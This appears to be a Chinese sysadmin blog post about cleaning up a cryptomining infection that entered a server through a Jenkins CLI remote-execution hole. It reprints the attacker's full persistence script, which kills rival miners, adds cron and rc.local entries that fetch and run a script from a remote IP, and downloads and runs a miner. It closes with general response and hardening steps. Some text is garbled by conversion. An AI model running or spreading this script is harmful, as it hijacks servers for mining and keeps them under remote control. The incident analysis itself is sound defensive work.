忽然手機報警就響了,顯示負載高,當即登陸服務器查看,第一眼的就識別到了,服務器被挖礦了。安全老是相對的,再安全的服務器也有可能遭受到***。做爲一個安全運維人員,要把握的原則是:儘可能作好系統安全防禦,修復全部已知的危險行爲,同時,在系統遭受***後可以迅速有效地處理***行爲,最大限度地下降***對系統產生的影響接下來是我整個解決思路。
html
如圖:發現經過jenkins用戶啓動挖礦程序ios
本次是因爲jenkins漏洞致使,這個漏洞是Jenkins cli帶來的遠程執行漏洞,會被利用自動執行一個挖礦程序,致使你的服務器佔用cpu率高web
經過netstat -anp 找到挖礦程序鏈接的地址 安全
經過服務器被挖礦,你kill上面的進程是無論用的,由於它這裏有一個後臺執行的腳本,腳本里面寫的是一個死循環,你kill掉那個進程,休息五秒本身就起來了。以前我看過挖礦的腳本進行分析的。bash
這裏附上挖礦的腳本,你們能夠本身分析下。服務器
#!/bin/bash SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin function kills() { /bin/ps aux |grep -v sourplum | awk '{if($3>20.0) print $2}' | while read procid do kill -9 $procid done crontab -l | sed '/212.237.2.23/d' | crontab - crontab -l | sed '/94.177.187.110/d' | crontab - pkill -f biosetjenkins ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9 ps ax|grep -o './[0-9]* -c'| xargs pkill -f pkill -f Loopback pkill -f apaceha pkill -f cryptonight ps ax|grep tmp|grep irqa|grep -v grep|awk '{print $1}'|xargs ps --ppid|awk '{print $1}'|grep -v PID|xargs kill -9 ps ax|grep tmp|grep irqa|grep -v grep|awk '{print $1}'|xargs kill -9 pkill -f 45.76.102.45 pkill -f stratum pkill -f mixnerdx pkill -f performedl pkill -f sleep pkill -f JnKihGjn pkill -f irqba2anc1 pkill -f irqba5xnc1 pkill -f irqbnc1 pkill -f ir29xc1 pkill -f conns pkill -f irqbalance pkill -f crypto-pool pkill -f minexmr pkill -f XJnRj pkill -f NXLAi pkill -f BI5zj pkill -f askdljlqw pkill -f minerd pkill -f minergate pkill -f Guard.sh pkill -f ysaydh pkill -f bonns pkill -f donns pkill -f kxjd pkill -f 108.61.186.224 pkill -f Duck.sh pkill -f bonn.sh pkill -f conn.sh pkill -f kworker34 pkill -f kw.sh pkill -f pro.sh pkill -f polkitd pkill -f acpid pkill -f icb5o pkill -f nopxi ps -ef|grep '.so'|grep -v grep|cut -c 9-15|xargs kill -9; pkill -f 45.76.146.166 pkill -f irqbalanc1 pkill -f 188.120.247.175 rm -rf /tmp/httpd.conf rm -rf /tmp/conn rm -rf /tmp/conns rm -f /tmp/irq.sh rm -f /tmp/irqbalanc1 rm -f /tmp/irq } function writecrontab() { xcrontab=$(cat /etc/crontab | grep "http://207.246.68.21/rootv2.sh" | grep -v grep |wc -l) if [ $xcrontab -eq 0 ];then echo "0 0 * * * root curl http://207.246.68.21/rootv2.sh > /etc/root.sh ; wget -P /etc http://207.246.68.21/rootv2.sh ; rm /etc/root.sh.* ; bash /etc/root.sh &" >> /etc/crontab else echo "" fi } function writerc() { x=$(cat /etc/rc.local | grep "http://207.246.68.21/rootv2.sh" | grep -v grep | wc -l) if [ $x -eq 0 ];then $(sed -i "s/exit 0//g" /etc/rc.local) $(sed -i "s/bash /etc/root.sh//g" /etc/rc.local) echo "curl http://207.246.68.21/rootv2.sh > /etc/root.sh ; wget -P /etc http://207.246.68.21/rootv2.sh ; rm -rf /etc/root.sh.* ; bash /etc/root.sh" >> /etc/rc.local echo "exit 0" >> /etc/rc.local else echo "" fi } function hugepage() { echo 128 > /proc/sys/vm/nr_hugepages sysctl -w vm.nr_hugepages=128 } function downloadyam() { if [ ! -f "sourplum" ] ;then curl http://207.246.68.21/sourplum > sourplum && chmod +x sourplum if [ ! -f "sourplum" ] ;then wget http://207.246.68.21/sourplum && chmod +x sourplum rm -rf sourplum.* #這個是刪除假的 沒有用 fi ./sourplum & #最後的目的是執行這個文件 else writecrontab writerc p=$(ps aux | grep sourplum | grep -v grep | wc -l) if [ ${p} -eq 1 ];then echo "sourplum" elif [ ${p} -eq 0 ];then ./sourplum & else echo "" fi fi } hugepage while [ 1 ] do kills downloadyam sleep 5 done
切記,這裏只是查看的當前的定時任務,還要檢查cat /etc/crontab 配置文件,不少時候,它是添加到了配置文件網絡
。
less
/var/log/secure 登陸安全日誌 /var/log/message 系統日誌
一、處理服務器遭受***的通常思路 系統遭受***並不可怕,可怕的是面對***一籌莫展,下面就詳細介紹下在服務器遭受***後的通常處理思路。 (1)切斷網絡 全部的***都來自於網絡,所以,在得知系統正遭受***的***後,首先要作的就是斷開服務器的網絡鏈接,這樣除了能切斷***源以外,也能保護服務器所在網絡的其餘主機。 (2)查找***源 能夠經過分析系統日誌或登陸日誌文件,查看可疑信息,同時也要查看系統都打開了哪些端口,運行哪些進程,並經過這些進程分析哪些是可疑的程序。這個過程要根據經驗和綜合判斷能力進行追查和分析。下面會詳細介紹這個過程的處理思路。 (3)分析***緣由和途徑 既然系統遭到***,那麼緣由是多方面的,多是系統漏洞,也多是程序漏洞,必定要查清楚是哪一個緣由致使的,而且還要查清楚遭到***的途徑,找到***源,由於只有知道了遭受***的緣由和途徑,才能刪除***源同時進行漏洞的修復。 (4)備份用戶數據 在服務器遭受***後,須要馬上備份服務器上的用戶數據,同時也要查看這些數據中是否隱藏着***源。若是***源在用戶數據中,必定要完全刪除,而後將用戶數據備份到一個安全的地方。 (5)從新安裝系統 永遠不要認爲本身能完全清除***源,由於沒有人能比***更瞭解***程序,在服務器遭到***後,最安全也最簡單的方法就是從新安裝系統,由於大部分***程序都會依附在系統文件或者內核中,因此從新安裝系統才能完全清除***源。 (6)修復程序或系統漏洞 在發現系統漏洞或者應用程序漏洞後,首先要作的就是修復系統漏洞或者更改程序bug,由於只有將程序的漏洞修復完畢才能正式在服務器上運行。 (7)恢復數據和鏈接網絡 將備份的數據從新複製到新安裝的服務器上,而後開啓服務,最後將服務器開啓網絡鏈接,對外提供服務。 二、檢查並鎖定可疑用戶 當發現服務器遭受***後,首先要切斷網絡鏈接,可是在有些狀況下,好比沒法立刻切斷網絡鏈接時,就必須登陸系統查看是否有可疑用戶,若是有可疑用戶登陸了系統,那麼須要立刻將這個用戶鎖定,而後中斷此用戶的遠程鏈接。
1. 修改默認帳號密碼及端口如(sshd) 2. 隱藏真實服務器的外網地址,及外網暴露端口儘量的少 3. 取消沒必要要的服務 4. 升級Jenkins CLI 5. 對web進行代碼審計,防止SQL注入 6. 限制系統的登陸 7. 進行防火牆安全設置 8. 防止SSH等暴力破解
1. 經過定時任務去下載遠程的腳本程序 2. 經過腳本,執行守護進程程序,佔用服務器資源cpu 3. 發現佔用進程的程序kill掉,它會自動起來,找到執行腳本,殺掉根源。切記對定時任務和rc.local進行檢查和能夠進程。